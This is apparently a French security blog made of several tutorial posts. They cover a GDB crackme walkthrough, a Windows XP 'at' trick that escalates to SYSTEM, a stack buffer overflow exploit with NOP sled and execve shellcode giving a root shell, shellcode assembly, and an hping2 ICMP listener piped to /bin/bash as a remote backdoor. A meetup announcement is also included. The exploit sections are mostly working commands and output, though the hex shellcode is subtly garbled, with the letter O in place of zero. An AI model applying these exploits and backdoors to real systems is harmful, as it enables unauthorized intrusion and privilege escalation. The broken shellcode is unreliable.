Initiation aux bases du Reversing

Salut a tous !
Ce nouvel article traitera d'un sujet trés intéréssant : les bases en matiere de Reversing.
Nous verrons ici seulement le strict minimum , ce qui permettra tout de meme d'acquérir quelque notions en la matiere ,et qui pourrait ( on sais jamais ) susciter des vocations..?
Pour les besoins de cet article nous utiliseront un codes et un programmes de déboggage incontournable : GDB ( sous Linux) puis un crack-me appellé "cm"codé en C trouvé sur un célèbre site .
Le principe ne changeant pas , je n'ai pas trouvé d'intéret a en coder d'autre ( ba ouai quoi) .

Trève de bavardages place a l'article now :

Le Crack-me

1)Ici nous cherchons donc le password , bien , pour cela nous devons d'abord désassembler le "main" ( fonction pricipale du programme) afin d'y placer un "break point" ( point d'arret destiné a stopper le programme a l'endroit que l'on veut examiner , soit l'endroit ou le programme teste l'entrée utilisateur ou a la fin de celle ci selon la façon choisie) .
Commençons par lancer GDB avec "cm" puis désassemblons le "main" avec l'instruction " disas main" de Gdb.
Vous devriez avoir quelque chose comme ça :
[user@localhost asm]$ gdb cm
GNU gdb 6.6-3mdv2008.0 ( Linux release 2008.0)
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandriva-linux-gnu"...
Using host libthread_db library "/lib/i686/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x080483a4 : lea 0x4(%esp),%ecx
0x080483a8 : and $0xfffffff0,%esp
0x080483ab : pushl 0xfffffffc(%ecx)
0x080483ae : push %ebp
0x080483af : mov %esp,%ebp
0x080483b1 : push %ecx
0x080483b2 : sub $0x24,%esp
0x080483b5 : mov %ecx,0xffffffe8(%ebp)
0x080483b8 : mov 0xffffffe8(%ebp),%eax
0x080483bb : cmpl $0x2,(%eax)
0x080483be : jne 0x8048426
0x080483c0 : mov 0xffffffe8(%ebp),%edx
0x080483c3 : mov 0x4(%edx),%eax
0x080483c6 : add $0x4,%eax
0x080483c9 : mov (%eax),%eax
0x080483cb : mov %eax,0x4(%esp)
0x080483cf : movl $0x8048500,(%esp)
0x080483d6 : call 0x80482f0
0x080483db : mov 0x8048552,%eax
0x080483e0 : mov 0x8048556,%edx
0x080483e6 : mov %eax,0xfffffff4(%ebp)
0x080483e9 : mov %edx,0xfffffff8(%ebp)
0x080483ec : mov 0xffffffe8(%ebp),%edx
0x080483ef : mov 0x4(%edx),%eax
0x080483f2 : add $0x4,%eax
0x080483f5 : mov (%eax),%edx
0x080483f7 : lea 0xfffffff4(%ebp),%eax
0x080483fa : mov %eax,0x4(%esp)
0x080483fe : mov %edx,(%esp)
0x08048401 : call 0x8048310
0x08048406 : test %eax,%eax
0x08048408 : jne 0x8048418
0x0804840a : movl $0x8048514,(%esp)
0x08048411 : call 0x8048300
0x08048416 : jmp 0x8048432
0x08048418 : movl $0x8048527,(%esp)
0x0804841f : call 0x8048300
0x08048424 : jmp 0x8048432
0x08048426 : movl $0x804853e,(%esp)
0x0804842d : call 0x8048300
0x08048432 : mov $0x0,%eax
0x08048437 : add $0x24,%esp
0x0804843a : pop %ecx
0x0804843b : pop %ebp
0x0804843c : lea 0xfffffffc(%ecx),%esp
0x0804843f : ret
End of assembler dump.

Ok , maintenant cherchons un peu ou se trouve l'endroit qui nous intéresse ....
Ici , j'ai personnellement choisi de placé mon Break Point a la fin de la condition c'est a dire juste avante le " Mauvais mot de passe " . ( façon certe inabituelle mais efficace tout de meme ,comme vous pourrez le constatez par la suite.
Pour le break point nous choisirons donc l'adresses 0x8048419 puisque :
0x08048408 : jne 0x8048418 ; saute a l'adresse main+116 si non égalité
Nous en déduisons donc que Main+116 se trouve entre l'instruction "else" et "printf("Mauvais mot de passe !\n");" car on y est renvoyé si il y a une inégalité.
Choisissons donc la l'adresse 0x8048419 soit main+117 de cette maniere :
(gdb) b *main+117
Breakpoint 1 at 0x8048419: file ./cm.c, line 15 ; message indiquant la création du break point
Ok , lançons donc le crack-me ("cm") en passant 40*a en argument puis observons ce qui se passe :
(gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Starting program: /home/kmkz/Bureau/asm/cm aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Vous avez ecrit aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGILL, Illegal instruction.
main (ac=2, av=0xbf90e174) at ./cm.c:15
15 printf("Mauvais mot de passe !\n");
Bon , nous avions vu juste , l'adresse pointait bel et bien sur la fin de la condition .Afin de le vérifié , utilisons la commande "list" de Gdb pour voir exatement ou le break point stoppe le programme :

(gdb) list
10 {
11 printf("Bon mot de passe !\n");
12 }
13 else
14 {
15 printf("Mauvais mot de passe !\n");
16 }
17 }
18 else
19 {
Tout va bien , on est sur la bonne voie \o/ .
C'est bien beau , mais le pass dans tout ça ? il est ou ?
Bah pour le trouver maintenant il nous faut l'adresse du pointeur ESP afin de voir ce qui s'y trouve , pour cela commençons par trouver l'adresse de nos 40*a passé en argument puis tentons de remonter a la pile :
(gdb) print av[1] ; nos "a" étant l'argument [1]
$1 = 0xbf910255 'a' repeats 40 times ; répétés 40 fois on est ok
Poursuivons par l'affichage de tout les argument passés au programme stockés dans "av" :
(gdb) print av
$2 = (char **) 0xbf90e174
Maintenant nous possédons l'adresse du tableau d'argument du programme "cm" , alons donc voir ce qu'il contient a partir de cette adresse mémoire....Bienvenu dans :"la Pile "!
Nous utilisons ici l'instruction x/16x afin d'afficher les 16*4 octets contenu dans la pile :
(gdb) x/16x 0xbf90e174
0xbf90e174: 0xbf91023c 0xbf910255 0x00000000 0xbf91027e

0xbf90e184: 0xbf910291 0xbf9102a6 0xbf9102b9 0xbf9102d0
0xbf90e194: 0xbf9102e3 0xbf9102fb 0xbf91030f 0xbf91031a
0xbf90e1a4: 0xbf91032a 0xbf910337 0xbf910388 0xbf910396
av étant le 1er et av[1] le 2eme de la ligne 1 et ceux la on les connait déja pas vrai ;
ceci dit de petites vérifications s'imposent :
(gdb) printf "%s", 0xbf91023c
/home/kmkz/Bureau/asm/cm(gdb) printf "%s", 0xbf910255 ; on obtient le chemin du programme cm
et :
(gdb) print "%s",0xbf910255
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$3 = 3213951573 ; ici c'est bien av[1] avec nos 40*a , no soucy

Il est temp pour nous de voir vers quelle adresse pointe ESP ( ESP pointe vers le sommet de la pile).
(gdb) print $esp
$4 = (void *) 0xbf90e0b0
Ici se trouve donc l'adresse du sommet de la pile allos dons y jeter un oeil ...
(gdb) x/16x $esp ; meme explications que tout a l'heure
0xbf90e0b0: 0xbf910255 0xbf90e0cc 0xbf90e0c8 0x080482bc

0xbf90e0c0: 0xbf90e0f0 0x08049640 0xbf90e0e8 0x666b646d
0xbf90e0d0: 0x0079766a 0xbf90e0f0 0xbf90e148 0xb7e93f90
0xbf90e0e0: 0xb7fe9cc0 0x08048450 0xbf90e148 0xb7e93f90
bon la on peu constater que l'on a :
l'adresse de la pile : 0xbf90e0c0
l'adresse de nos "a" (av[1]) :0xbf910255

Mais aussi une adresse que l'on avait pas encore vu jusqu'ici : 0xbf90e0cc


Testons donc 0xbf90e0cc afin de voir ce que cette adresse contient .
(gdb) printf "%s", 0xbf90e0cc
mdkfjvy(gdb)
Hey !! Mais qu'est-ce donc ..? Notre pass seait donc la ? ??
Et oui , en effet le pass est bel et bien mdkfjvy !

Voila , vous venez de voir les principes de base du Reversing , mais la route est encore longue alors courage et a bientot!

Win. XP (patched) Local Privilèges Escalation

Salut a tous !
J'ai pas mal hésité , mais finalement je vais poster ce petit tuto trés basique portant sur une possibilité
d'élévation de privileges sous Windows.
(Ce tuto a été inspiré de plusieurs autres trouvé sur le net ).
Je précise aussi qu'il existe beaucoup d'autre façons de procéder afin d'élever ses privilèges ( boot sur live CD Linux pour récupérer le SAM ,injection de DLL et j'en passe ...) ; ceci dit , ce que je vais présenté ici ne requiert aucune connaissances spécifique et ne demande que trés peu de temp .

Pour ce faire nous devons :
-posséder un compte utilisateur avec un minimum de droit , si ce n'est pas le cas , rebootez donc en mode sans échec puis passé en mode Administrateur et enfin modifié vos droits d'utilisateur.

-vérifié que le service Planificateur des taches soit activé ( comande "at" ) nous allons y revenir dans la suite.

L'élévation de privileges :

Bon , tout est ok ? Alors let's go !
Ouvrez votre invite de commandes MS-DOS ( executer => cmd) .
Regarder l'heure affiché sur votre bureau ( exemple 10:00) et rentrez maintenant la commande :
at 10:02 /interactive "cmd.exe"

Une fois cette commande rentrée , vous devez obtenir quelque chose comme :
Tache ajoutée avec l'ID=1
Vous pouvez alors vérifier les infos en tapant "at" dans le shell .
Maintenant attendon qu'il soit 10:02 a votre bureau... A 10:02 le shell passera alors sur le compte System32 , gardez le shell ouvert puis réduisez la fenetre.
Bon , maintenant il suffi d'ouvrir le gestionnaire des tache et de fermé le processus "explorer.exe" ; une fois fait , retour sur notre invite de commande MS-DOS :
On rentre alors ( en tant que System32 ,bien entendu ) explorer.exe pour relancer le processus et réaffiché la barre des taches.
Voila , vous etes désormais sur le compte le plus élevé du systeme celui de System , qui se trouve au-dessus de celui d'admin car l'admin a certaines restrictions que System n'aura pas !

(ouvrez le menu Démarrer et regarder la session ,le nom System y aparaitra alors )

Création d'un meeting 2600 a Nimes (30)

Salut a tous et a toutes !
Voila , suite a une discussion avec Decerebrain sur Irc , et étant donné que rien ne se fait vers chez moi , j'aimerai essayer de lancer un meeting sur la région de Nimes .


Je rappelle que les meeting du 2600 sont ouvert a TOUS et qu'aucun niveau de connaissances n'est requis .

L'objectif unique de ces rencontres étant le partage d'infos entre passionés d'informatique , de l'univers "underground " , la sécurité et les nouvelles technologies en général.

-Si certains d'entre vous sont intéréssés , conatctez-moi par mail ou laissez moi un commentaire afin de savoir qui serait éventuellement intéréssé , posez vos questions et fixer ce qui deviendrai le point de rendez-vous .

* Le jour de rendez-vous sera traditionnellement le 1er Vendredi de chaque mois , a partir de 17h .

Merci a tous .

site du 2600 Fr.

Local Stack Overflow Exploitation

Comme promis précédemment, voici la suite de l'exploitation des Stack Overflow sous UNIX (en local).

Pour les besoins de cet article , un code vulnérable (vuln.c) ,ainsi que notre shellcode seront nécéssaires ( dans le cadre d'une exploitation réelle , veillez a ce que le programme ait bien le suid root . Vous verrez les programmes le possédant en tapant dans le terminal : "find / -type f -perm -04000 " ).


------ Progs. utiles :

Prog.Vulnérable
le shellcode en hexadécimal
Exemple de Proof Of Concept basé sur vuln.c

------


Dans ce code , la taille du Buffer est de 512 octets.
Les sauvegardes registres , elles , sont codées en 4 octets (registres de 32 Bits).
Les deux arguments de la fonction sont des adresses de buffer codées elles aussi a 4 octets.

On peu donc en déduire que si nous arrivons a écrire 4 octets supplémentaires sur la taille du buffer on écrasera alors les 4 octets d' EBP .
Et si on écrit 4 octets de plus on devrait arrivé a écraser EIP , ainsi , la valeur que l'on aura défini et qui écrasera EIP sera POP dans la pile et, donc lorsque le programme effectura un JUMP , il le fera sur cette valeur la .

Bon , maintenant , il faut tester le buffer afin de voir a quel moment nous écraserons suffisament la pile ( ne pas oublié: on doit écraser EIP de façon a ce que le programme pointe sur l'adresse exacte en mémoire du début de notre shellcode ,afin d'exécuter le code injecté) .

Testons :
(gdb) r `perl -e 'print "A" x512 . "AAAA" . "DCBA"' `
Résultat:

Program received signal SIGSEGV, Segmentation fault.
0x8048400 in main ()
(gdb)
# 1er test ici au départ 512 octets ce qui est insuffisant

(gdb) r `perl -e 'print "A" x514 . "AAAA" . "DCBA"' `
Résultat:

Program received signal SIGSEGV, Segmentation fault.
0x8004142 in ?? ()
(gdb)
# 2eme test on commence écraser EIP a 514 (0x08004142)

On en déduit donc qu'avec 2 octets de plus donc "A" x516 ( soit 4 au total) , on doit arriver a 0x41424344 soit DCBA , la représentation en hexadécimal de DCBA .

(gdb) r `perl -e 'print "A" x516 . "AAAA" . "DCBA"' `
Résultat:

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb)

Notre objectif , je le rappelle est de faire JUMPER le programme sur notre code ASM injecté en mémoire afin d'exécuter un /bin/sh .
Le meilleur moyen d'y parvenir est de placer le code arbitraire en argument de l'exécutable pour le placer dans le buffer qui subira le débordement de tampon.

On écrase donc EIP avec l'adresse du début du shellcode pour avoir un shell (/bin/sh) root .

Pour écraser EIP on envoi 516 octets +2 octets pour arriver au début de notre shellcode soit = "A" x518 , puis ABCD = total de 522 Octets.
Donc pour arriver avant EIP, il faut 518 octets car au-dela , nous l'écraseront.
En utilisera donc des NOP ( ne fait rien) jusqu'a ce que le shellcode soit exécuté.


=> Nous exécutons donc :

A x 154 + 340 NOP (0x90 ou \x90) + 24 octets du shellcode + octet pour EIP = 522 Octets .
On arrive alors a faire pointer ESP sur le début du shellcode a exécuter.


RAPPEL : l'écrasement d'un registre (EIP , EBP ..) se fait par groupe de 4 Octets .

On exécute le shellcode suivant :

(gdb) r `perl -e 'print "A" x156 . "\x90" x340 . "\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80". "DCBA" '`

Puis , nous regardons ce qui se trouve dans EIP.
Nous choisissons une adresse se situant parmis les NOP
(par exemple : 0xbfa412f0)
Enfin , a la place de DCBA , on mettra: "\xf0\x12\xa4\xbf"

(ce qui par la suite deviendra: " \x08\xf3\xff\xbf")

Cet offset ajouter a notre Shelcode donnera donc :


(gdb) r `perl -e 'print "A" x156 . "\x90" x340 . "\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80". "\x08\xf3\xff\xbf" ' `
sh-3.1#

Bingo ! Nous avons obtenu notre shell root alors que le programme lui , a été lancé en utilisateur .
Voila , nous désormais , nous en savons un peu plus sur les Stack Overflow .


Remerciments encore a FaSm pour son zine "Prog!" et ses tutos sur l'asm et les shellcodes .

Shellcode et Port Binder en ASM x86 (32 Bits )

Voila , je débute dans l'Asm .
Je posterai ici mes avancées dans ce domaine passionant : celui du langage "machine" .

Voici un exploit utilisant la fonction Syscall Execve (), écrite ici en ASM ,et ayant pour Argument la chaine de caractère que l'on a défini au préalable (commande a exécuter ),ainsi que le caractère de fin de chaine : //bin/sh.
Code réalisé dans le cadre d'une exploitation de Stack Overflow sur systeme UNIX( explications et exploit complet a venir ).


Remerciement a FaSm pour ces tutoriaux de qualités sans qui , ce code ne serait certainement pas la.


Le code assembleur suivant permet l'ouverture d'un shell ( /bin/sh )

BITS 32
xor eax,eax
cdg
push eax
push long 0x68732f6e
push long 0x69622f2f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0x0b
int 0x80
Ce qui , une fois transformé en hexadécimal donnerait :
"\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89
\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80"
Soit un Shellcode en hexa de 24 octets .
Suite au fur et a mesure de mon avancement .

Autre exemple de code ASM trés utilisé :
un Port Binding Shell
Lui aussi est basé sur le Syscall execve() mais effectu une connexion via un port .
Il créé la Socket , écoute et accepte une connexion tout en lui offrant un /bin/sh .
Voir le code ici : Port-binding-shell
merci a tous !

Utilisations avancées de Hping2

Salut a tous et a toutes !
Hping2 permet en effet de réaliser plusieurs choses intéréssantes comme l'envoi de paquets via les protocoles TCP,UDP ou ICMP en modifiant leurs entetes .
(exemple: HPING2 site.com -p 80 -a ip.a.utiliser.ici -S)

Bon , ça on le sais , pas de souci , on peu aussi scanner avec grace a la commande --scan ( HPING2 --scan 20-80 -S site.fr)ce qui renvoi les noms de services en écoute , les flags etc.. de cette maniere :
[user@localhost]# hping2 --scan 20-80 -S site.fr
Scanning site.fr (216.239.59.104), port 20-80
61 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+
|port| serv name | flags |ttl| id | win |
+----+-----------+---------+---+-----+-----+
Bon , c'est bien zoli ça mais quand tu parlais d'utilisations avancées tu parlais de ça .??

Mais non , rassurez-vous , ceci n'est qu'un rappel des bases de Hping.
Approfondissons maintenant :

-Hping permet également d'envoyer des paquets contenants des données via les protocoles choisis
par l'user.
Voici les fonctions le permettants :

UDP: -2
ICMP: -1
TCP : par défaut
Pour inclure les données a envoyer dans les paquets, on devra créer un fichier les contenants et utiliser la commande -E en indiquant le PATH du fichier.

(Exemple: HPING2 -1 site.fr -E /user/Desktop/test.txt -d 50 ) -d permet d'afficher la taille du fichier (en octets bien sur).

Hping2 permet aussi d'écouter des paquets contenant une signature (chaine de caracteres) sur une machine grace a l'instruction --listen signature -icmp (si on utilise ce protocole).

Bon , maintenant imaginez que cette fonction soit utilisée sur une machine autre que la votre en y ajoutant ceci : --listen signature -icmp | /bin/bash que ce passerai - t-il ?
Et bien Hping servira alors de troyen !

En effet , si on l'utilise de cette maniere , alors il se met en écoute de paquets ICMP et transmet alors les données reçues au programme /bin/bash et , donc aurait pour effet d'exécuter un Shell sur la machine distante .
Il suffit donc d'envoyer un paquet ICMP avec en données une commande Shell sans oublier la signature pour que la paquet soit identifiable,et ce de cette maniere :
HPING2 ici.ip.a.saisir -e signature -E path/du/fichier/de/donnée -d 50 -1.
Voila pour ce petit tuto sur les fonctions avancées de Hping2 .
a Bientot .

Au commencement ....

Salut a tous !
Bon ,ben je me lance moi aussi dans la création de mon "repère"... ;)

Ici vous retrouverez mes papers et autres codes sources , qui vous permettrons de découvrir mes travaux et projets dans le domaine de la sécurité informatique .

J'espere apporter ici des infos qui vous seront utiles .

kmkz